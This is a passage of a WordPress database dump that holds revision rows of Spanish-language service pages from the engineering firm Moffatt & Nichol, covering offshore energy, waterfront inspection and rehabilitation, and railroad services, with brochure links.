orderby=menu_order theme=construction]\r\n  <div class=\"ports-left\">\r\n  <h3>energía</h3> Como las economías y las políticas medioambientales cambian y se modifican en todo el mundo, el sector de energía debe adaptarse. Durante décadas, Moffatt & Nichol ha sido un consultor líder en la industria que aborda las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa para la industria del petróleo y el gas, desde muelles y dársenas hasta cimentaciones profundas, instalaciones costa afuera flotantes, terminales de carga líquida a granel y de GNL y sistemas de amarre costa afuera. Hemos aprovechado esta experiencia, junto con nuestra familiaridad con los procesos costeros, las soluciones de amortiguación, las estructuras dinámicas y la modelación de cimentaciones, para colaborar con clientes en afrontar los desafíos de proyectos de energía convencional y renovable—desde la infraestructura civil necesaria para la generación de energía convencional hasta el planeamiento y diseño de fuentes más innovadoras tales como el almacenamiento de energía eólica costa afuera, la energía hidrocinética y la energía eólica de aguas profundas.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/energy/energy-services/\">Examinar servicios de energía >></a></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <h3>publicaciones relevantes</h3>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-1.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n        <strong class=\"green-new\">Folleto de Instalaciones marítimas de petróleo y gas	</strong><br />\r\n        Durante décadas, Moffatt & Nichol ha sido un consultor líder en la industria que abordaba las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa de </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/oil-gas-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/OIL%20AND%20GAS%20MAY%202011-PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DESCRIPTIVO DE ENERGÍA EÓLICA</strong><br />\r\n        Moffatt & Nichol está posicionado en forma singular para ayudar a nuestros clientes a afrontar los desafíos de proyectos de desarrollo de energía eólica, tanto en tierra como costa afuera. Combinamos nuestro </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-power-overview-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Wind_Power_Overview_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-5.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÑO DE LA SUBESTRUCTURA DE GENERADOR DE TURBINA EÓLICA (WTG) COSTA AFUERA</strong><br />\r\n        Moffatt & Nichol aporta las capacidades y experiencia para diseñar subestructuras optimizadas costa afuera para apoyar el desarrollo de parques eólicos costa afuera, incluyendo generadores de turbina eólica (WTG, por sus siglas en inglés)</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wtg-substructure-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Offshore_WTG_Substructure_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-4.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE PUERTOS DE ACCESO A PARQUES EÓLICOS COSTA AFUERA</strong><br />\r\n        Moffatt & Nichol es la firma principal de planeamiento y diseño para el desarrollo de puertos y terminales marítimas en Norteamérica y es una de las principales firmas a nivel mundial </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-staging-ports-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Offshore_Wind_Farm_Staging_Ports_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÑO DE PLATAFORMAS DE SUBESTACIONES ELÉCTRICAS COSTA AFUERA</strong><br />\r\n        El conocimiento de la ingeniería marítima/costa afuera y la comprensión de las necesidades de los parques eólicos costa afuera de Moffatt & Nichol proporciona </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-electrical-substation-platform-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Offshore_Electrical_Substation_Platform_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE LA GESTIÓN DE PROGRAMA DE PARQUES EÓLICOS COSTA AFUERA</strong><br />\r\n        El desarrollo eólico costa afuera crea muchos desafíos para los desarrolladores. La industria y las regulaciones están en cambio constantemente. Las percepciones </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-program-management-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Offshore_Wind_Farm_Program_Management_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-6.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES DE PARQUES EÓLICOS</strong><br />\r\n        Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-farm-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/Wind_Farm_Commercial_Advisory_Services_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO de Almacenamiento de Energía de Aire Comprimido del Océano (OCAES, por sus siglas en inglés)</strong><br />\r\n        ¿Qué es OCAES? TRES COMPONENTES CLAVE: Innovadora tecnología de compresor/expansor GCAES™ • Con base en la costa • Modular\r\n       </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ocean-compressed-air-energy-storage-bochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/admin/upload_bro/OCAES Brochure-PRINTABLE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Energía','','inherit','open','open','','60-revision-10','','','2012-09-03 06:04:29','2012-09-03 06:04:29','',60,'http://moffattnichol.com/spanish/60-revision-10/',0,'revision','',0),(2655,1,'2012-06-15 08:49:01','2012-06-15 08:49:01','<div class=\"content_faq\">\r\n       [anything_slides cat=inspection-and-rehabilitation width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n       <div class=\"ports-left\">\r\n            <h3>inspección y rehabilitación</h3> Con años de experiencia a la vanguardia del diseño de rehabilitación de frentes costeros, Moffatt & Nichol ha desarrollado una minuciosa comprensión de los problemas históricos y de las técnicas de reparación ineficaces que son frecuentes en los proyectos de frentes costeros. Como una de las pocas firmas que se especializan tanto en la inspección submarina como en el diseño de ingeniería para estructuras de frentes costeros, Moffatt & Nichol mantiene un equipo de más de 40 ingenieros-buzos internos y con entrenamiento comercial, que proporcionan inspecciones submarinas y de la superestructura en forma rutinaria y regular. Estos ingenieros-buzos proporcionan una valiosa comprensión del funcionamiento y comportamiento de las estructuras de frentes costeros. Por lo tanto, no producimos planes de reparación a ciegas que consisten en parchar costras, rellenar grietas y revestir pilotes. Una reparación eficaz va más allá de estos elementos básicos y requiere de experiencia profesional en este campo especializado.  Además, Moffatt & Nichol ofrece ingeniería de vida de servicio, modelación de durabilidad y capacidades de modelación de elementos finitos para proporcionar un importante valor agregado a los proyectos.\r\n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/inspection-rehabilitation/inspection-and-rehabilitation-services/\">Examinar los servicios de inspección y rehabilitación >></a></div>\r\n</div>\r\n <div class=\"brochure-wrapper-ports\">\r\n            <h3>publicaciones relevantes</h3>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/inspection-2.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">Calificación de la inspección y rehabilitación</strong><br />\r\n                Moffatt & Nichol, expertos con reconocimiento internacional en ingeniería estructural de frentes costeros y diseño marítimo, proporciona a sus clientes servicios de ingeniería  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/inspection-and-rehabilitation-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/INSPECTION AND REHABILITATION QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/inspection-1.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">Folleto de inspección y rehabilitación</strong><br />\r\n               Moffatt & Nichol, expertos con reconocimiento internacional en ingeniería y diseño estructural de frentes costeros, proporciona a sus clientes servicios de ingeniería orientados hacia la prolongación de la vida de servicio.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/inspection-and-rehabilitation-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/INSPECTION REHAB.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n        </div>\r\n         </div>        \r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>             ','Inspección y rehabilitación','','inherit','open','open','','62-revision-3','','','2012-06-15 08:49:01','2012-06-15 08:49:01','',62,'http://moffattnichol.com/spanish/62-revision-3/',0,'revision','',0),(2656,1,'2012-08-29 15:10:03','2012-08-29 15:10:03','<div class=\"content_faq\">\r\n<div class=\"banner-space\">[anything_slides cat=railroads width=588 height=315  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]</div>\r\n &nbsp; \r\n<h3>servicios ferroviarios</h3>\r\n<div class=\"global-services_one\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/commuter.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"1\">trenes suburbanos y tránsito</h1>\r\nLa aceptación de la comunidad es crítica para transformar el concepto de un tren de una idea a una realidad. Los profesionales de ferrocarriles de Moffatt &amp; Nichol integran su conocimiento de primera mano trabajando con todos los niveles gubernamentales y con el público para obtener la cooperación de todas las partes interesadas del área. La firma ha facilitado audiencias públicas y talleres públicos y ha proporcionado su experiencia profesional en reuniones de asociaciones público-privadas para estos organismos. Estos programas de participación son esenciales para educar al público y obtener apoyo para los proyectos de transporte.\r\n\r\nHemos proporcionado estos servicios para los estudios conceptuales, de planeamiento de transporte, de trenes de alta velocidad, de separación del tráfico y de la seguridad de corredores de transporte, así como estudios de análisis de tráfico y determinaciones de zonas reservadas. La firma utiliza software de modelación tal como VISSIM, TERM SIM y Synchro para evaluar completamente los potenciales impactos de las mejoras de la infraestructura de transporte. El uso de estos modelos permite el análisis realista de las alternativas para determinar el mejor equilibrio entre el costo y la funcionalidad de cualquier diseño relacionado con ferrocarriles, transporte, calzadas o desplazamiento de peatones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/economics.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"2\">estudios económicos y de mercado</h1>\r\nMoffatt &amp; Nichol comprende cómo el negocio del transporte guía a nuestros clientes en el desarrollo de estrategias de puerto-punto de acceso y las inversiones en infraestructura que vinculan la carga internacional con los mercados regionales y locales. Con el conocimiento del negocio de ferrocarriles, transporte en camiones y logística intermedia de almacenes, además de la experiencia en el diseño, estimación de costos y construcción de conexiones de caminos y ferrocarriles, Moffatt &amp; Nichol proporciona una ventaja única a sus clientes que evalúan sus inversiones en conexiones de transporte.\r\n\r\nExperiencia profesional en estudios económicos y de mercado:\r\n<ul>\r\n	<li>Análisis macroeconómico y demanda de carga globales</li>\r\n	<li>Análisis de mercado específico del país y regional</li>\r\n	<li>Evaluaciones económicas de ventajas competitivas</li>\r\n	<li>Desviación de carga y estudios de elasticidad</li>\r\n	<li>Estudios de casos comerciales</li>\r\n	<li>Desarrollo de proforma financiera</li>\r\n	<li>Estudios de factibilidad financiera y de capacidad de emisión</li>\r\n	<li>Evaluaciones y desarrollos estratégicos</li>\r\n	<li>Debida diligencia de transacciones comerciales con grado de inversión</li>\r\n	<li>Planeamiento y cálculo de costo de servicios logísticos</li>\r\n	<li>Estudios de gestión y organización</li>\r\n	<li>Evaluación de alternativas de leasing</li>\r\n	<li>Análisis del impacto económico</li>\r\n	<li>Estimación de beneficio del sector privado</li>\r\n	<li>Estimación de beneficio del sector público</li>\r\n	<li>Evaluación de costo-beneficio</li>\r\n	<li>Análisis de la productividad y las operaciones de terminales </li>\r\n	<li>Operaciones de compañías navieras</li>\r\n</ul>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/engineering-ser.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"3\">servicios de ingeniería</h1>\r\nMoffatt &amp; Nichol guía a sus clientes a través del proceso de integrar oportunidades ferroviarias para beneficiar a sus estrategias de negocios. El experimentado equipo de profesionales de ferrocarriles de la firma ofrece una visión general integral, proporcionando una amplitud de visión desde el planeamiento y diseño hasta la terminación del proyecto. Única en el mercado, incorporamos nuestra experiencia profesional interna con nuestra amplia práctica en ferrocarriles en las áreas de factibilidad económica y evaluación de la logística, planeamiento de ferrocarriles, modelación de la capacidad, simulaciones logísticas y diseño de instalaciones de terminales intermodales, seguridad de corredores, mantenimiento, ingeniería estructural y mecánica, inspección y rehabilitación, señalización, y la administración de la construcción para líneas de pasajeros y de tránsito en todo el país. Como una firma integrada verticalmente, medimos las necesidades del cliente mediante análisis de operaciones e implementación de la construcción de las instalaciones. Esta estructura del negocio nos permite avanzar un proyecto a través de las regulaciones ambientales y la gestión de autorizaciones en estrecha coordinación con el proceso de aprobación del diseño y de la construcción.\r\n\r\nNuestra experiencia de diseño incluye líneas principales, vías secundarias y vías de patios de maniobras para ferrocarriles de Clase 1, así como para operadores de líneas cortas y regionales. Esta experiencia no solo comprende las vías, sino también instalaciones de mantenimiento y apoyo, accesos industriales, estaciones, así como instalaciones intermodales. Nuestra experiencia profesional en el planeamiento y diseño portuarios, junto con nuestra práctica en ferrocarriles, ha producido instalaciones intermodales de última tecnología en muelles y cerca de muelles para autoridades portuarias, operadores de terminales y ferrocarriles de Clase 1, incluyendo el diseño de las nuevas instalaciones de una grúa pórtico de gran capacidad.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/fright.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"4\">carga</h1>\r\nLos ferrocarriles dan máxima prioridad a la seguridad cuando se trata de transportar mercancías. Moffatt &amp; Nichol requiere que la seguridad sea una parte integral de cualquier proyecto, desde el diseño hasta la implementación. Nuestros profesionales de ferrocarriles reciben capacitación en seguridad del trabajador ferroviario y tienen todas las credenciales de E-Rail. En su calidad de empresa, Moffatt &amp; Nichol participa en varias asociaciones de ferrocarriles para mantenerse al corriente con los cambios en la industria de carga, para permanecer actualizado sobre los últimos avances tecnológicos y para proporcionar su experiencia profesional en las ideas más innovadoras. Esta capacitación y certificación da a nuestros ingenieros una conexión con la industria de ferrocarriles que les permite entender mejor las necesidades actuales y futuras de nuestros clientes.\r\n\r\nEntendemos que las compañías ferroviarias toman decisiones basadas en consideraciones de costos. Los diseños de ferrocarriles tienen un impacto económico y pueden necesitar una mayor evaluación de la proporción ciclo-de-vida/costo-beneficio. Moffatt &amp; Nichol aporta capacidades añadidas en la medición del costo total de la propiedad. Es imprescindible encontrar un equilibrio entre el costo de capital inicial y el costo del ciclo de vida del beneficio a largo plazo. Moffatt &amp; Nichol reconoce la necesidad de evitar o minimizar las interrupciones a los horarios de tráfico existentes en el desarrollo de cualquier mantenimiento o proyecto de extensión de la capacidad.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/highspeed.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"5\">trenes de alta velocidad</h1>\r\nLas relaciones que hemos establecido con organismos gubernamentales nacionales, estatales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas, con abastecedores logísticos y con organismos nacionales y locales de trenes de pasajeros fortalecen nuestra capacidad de completar proyectos de trenes de alta velocidad para clientes en todo el país. Moffatt &amp; Nichol proporciona a este sector en crecimiento su experiencia profesional en el planeamiento y diseño de la infraestructura necesaria para apoyar el servicio intermodal de alta velocidad o el servicio de pasajeros de alta velocidad.\r\n\r\nLa coordinación de esfuerzos entre nuestros diferentes servicios ferroviarios facilita el proceso de planeamiento y entrega los resultados esperados. Este enfoque funciona con proyectos para operaciones ferroviarias existentes a fin de identificar oportunidades para mejoras de velocidad, eficiencias de operación y la posible ampliación de los sistemas actuales.\r\n\r\nDesde los estudios iniciales de factibilidad económica a través del proceso de aprobación medioambiental hasta el planeamiento, diseño y administración de la construcción de la infraestructura, Moffatt &amp; Nichol ofrece a sus clientes servicios integrales para todos los aspectos del diseño y desarrollo del proyecto.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/inspection.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"6\">inspección y rehabilitación</h1>\r\nMoffatt &amp; Nichol realiza inspecciones por debajo y por encima del nivel de agua, así como servicios de diseño para todos los aspectos de la infraestructura del ferrocarril. Una característica única en la industria es que proporcionamos una experiencia profesional especial con “ojo de ingeniería” para la inspección de puentes y otras estructuras utilizando ingenieros colegiados e ingenieros buzos, que entienden la importancia estructural de las condiciones indicadas. Estos expertos recopilan informes de los datos recogidos y proporcionan eficaces soluciones de ingeniería al estar en el terreno o en el agua desde el inicio. También proporcionamos servicios de diseño en instalaciones tales como estaciones y terminales, muros de contención y estructuras de estabilidad de taludes.\r\n\r\nLa firma tiene la capacidad de movilizar a varios equipos para inspeccionar la infraestructura del ferrocarril y proporcionar a los clientes informes de inspección detallada, y en caso de ser necesario, terminar la inspección dentro de un cronograma ajustado. Los resultados de la inspección detallada incluyen estimaciones de reparaciones y costos, recomendaciones de reemplazo y cualquier mejora necesaria de la infraestructura, incluyendo planos que indiquen la ubicación de las reparaciones y disposiciones recomendadas. Además, podemos proporcionar la modelación de la vida de servicio utilizando el software STADIUM® para prolongar la vida de servicio de estructuras marítimas existentes usando una metodología de modelación cuantitativa.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/passenger.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"7\">servicio de pasajeros interurbano</h1>\r\nEl funcionamiento puntual, así como la seguridad y comodidad del pasajero, son los sellos distintivos de un servicio interurbano de tren de pasajeros exitoso. Moffatt &amp; Nichol ofrece una gran experiencia profesional en el planeamiento y diseño de la infraestructura necesaria para proporcionar y mejorar el funcionamiento puntual y la satisfacción del pasajero. Nuestras comprobadas relaciones con organizaciones gubernamentales nacionales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas, y con organismos nacionales y locales de trenes de pasajeros, aumentan nuestra capacidad de proporcionar a nuestros clientes un servicio interurbano de pasajeros exitoso o de mejorar el servicio existente.\r\n\r\nNuestro equipo entiende al servicio interurbano de tren de pasajeros como una optimización de equipo e infraestructura. Este enfoque identifica los costos del equipo y de la infraestructura asociados con el mejoramiento del funcionamiento puntual y la comodidad de los pasajeros. Trabajamos muy de cerca con nuestros clientes para optimizar el rendimiento operacional y la comodidad de los pasajeros dentro de límites presupuestarios para proporcionar mejoras rentables.\r\n\r\nDesde los estudios iniciales de factibilidad económica a través del proceso de aprobación medioambiental hasta el planeamiento, diseño y administración de la construcción de la infraestructura, Moffatt &amp; Nichol tiene profesionales con la suficiente experiencia para hacer que el servicio interurbano de tren de pasajeros sea un éxito.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/maitanance.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"8\">mantenimiento y mecánica</h1>\r\nEl mantenimiento preventivo total para instalaciones ferroviarias sin interrumpir las operaciones cotidianas es crítico para mantener los horarios de transporte. El equipo de ferrocarriles de la firma ha ayudado a operadores de ferrocarriles, organismos públicos, operadores portuarios y expedidores, en el análisis, planeamiento y programas de mantenimiento de sus instalaciones. Para proporcionar soluciones eficaces a la contratación de servicios ferroviarios, hemos formado alianzas estratégicas con abastecedores y proveedores de servicios sin igual en la industria.\r\n\r\nAdemás de ofrecer programas de mantenimiento de vías a los clientes, nuestra experiencia profesional incluye:\r\n<ul>\r\n	<li>Diagnóstico de señales y localización de averías</li>\r\n	<li>Diseño hidráulico</li>\r\n	<li>Problemas de mitigación medioambiental</li>\r\n	<li>Diseño de artículos especiales para trabajo en vías férreas</li>\r\n	<li>Diseño de sujetadores de durmientes y placas de asiento especiales</li>\r\n	<li>Estudios de cruces a nivel</li>\r\n</ul>\r\n \r\nLas capacidades relacionadas con líneas férreas de Moffatt &amp; Nichol integran servicios mecánicos con la infraestructura y las prácticas de planeamiento de la firma. Proporcionamos informes de ingeniería y desarrollamos recomendaciones para métodos a fin de aplicar acciones correctivas, mantenimiento inmediato y programado, así como instrucciones de prueba. La firma también desarrolla planos mecánicos detallados y supervisa proyectos de reconstrucción y rehabilitación de equipos, además de realizar inspecciones mecánicas y pruebas.\r\n\r\nNuestros profesionales de ferrocarriles dan servicio a los clientes como una extensión de su actual programa de mantenimiento. Mediante alianzas estratégicas con compañías de prueba y mantenimiento de equipos, Moffatt &amp; Nichol proporciona soluciones sin igual para los programas de reconstrucción de locomotoras y vagones, incluyendo investigación en nuevas tecnologías para incorporarlas en equipo rodante ferroviario. La firma también mantiene sistemas de gestión de documentos, incluyendo la organización de registros de mantenimiento y el desarrollo de especificaciones de piezas.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\"><img title=\"alamedacorridor_250X189\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\" alt=\"\" width=\"250\" height=\"189\" /></a></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"9\">gestión de programa</h1>\r\nEl equipo de Moffatt &amp; Nichol toma la visión de nuestros clientes y los guía para desarrollar, implementar y supervisar un programa exitoso en funcionamiento. Únicos en la industria, ofrecemos experiencia profesional interna en las áreas de estudios económicos y de mercado, gestión de autorizaciones ambientales, servicios de ingeniería, estructuras, inspección y rehabilitación, señalización y servicios mecánicos.\r\n\r\nLas relaciones que la firma tiene con organismos gubernamentales nacionales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas y con organismos nacionales y locales de trenes de pasajeros ayudan a nuestros clientes en la coordinación de la aprobación de sus programas. También tenemos relaciones bien establecidas con consultores especialistas que aportan valor agregado y aseguran que el proyecto se realice exitosamente.\r\n\r\nLos clientes de Moffatt &amp; Nichol tienen un solo punto de contacto, lo que elimina las diferentes rutas de comunicación y proporciona acceso a expertos reconocidos en sus respectivos campos. Proporcionamos soluciones innovadoras e integradas para posicionar a nuestros clientes en el exitoso futuro del ferrocarril.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/signalisation.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"10\">señalización</h1>\r\nLa seguridad nunca es más importante que en el lugar en que el público y el ferrocarril se cruzan: el cruce a nivel. Moffatt &amp; Nichol ha proporcionado parámetros de señales para todos los niveles de servicio ferroviario, así como novedosos métodos de ingeniería para señalización de cruces a nivel que han disminuido los incidentes que son producto de colisiones de vehículos y trenes.\r\n\r\nLos estudios de señalización de Moffatt &amp; Nichol incluyen:\r\n<ul>\r\n	<li>Separación del tráfico</li>\r\n	<li>Zona reservada</li>\r\n	<li>Zona de seguridad del corredor</li>\r\n	<li>Señalización pasiva</li>\r\n	<li>Inventario</li>\r\n	<li>Modelación de vías férreas-carretera</li>\r\n	<li>Análisis de operaciones de ferrocarriles</li>\r\n</ul>\r\n \r\nLa firma participa regularmente en proyectos que requieren la determinación de la protección de pasos más adecuada. Los proyectos incluyen reactivaciones de corredores de trenes, proyectos de seguridad de corredores, proyectos de estaciones, realineaciones de vías férreas, programas de mejora del transporte del Departamento de Transporte de EE.UU. (DOT, por sus siglas en inglés), estudios de impacto de tráfico, análisis de operaciones de ferrocarriles y estudios de tránsito. Todos los cruces a nivel son diferentes y una sola aplicación no es apropiada para todos. Nuestro equipo tiene la experiencia y los 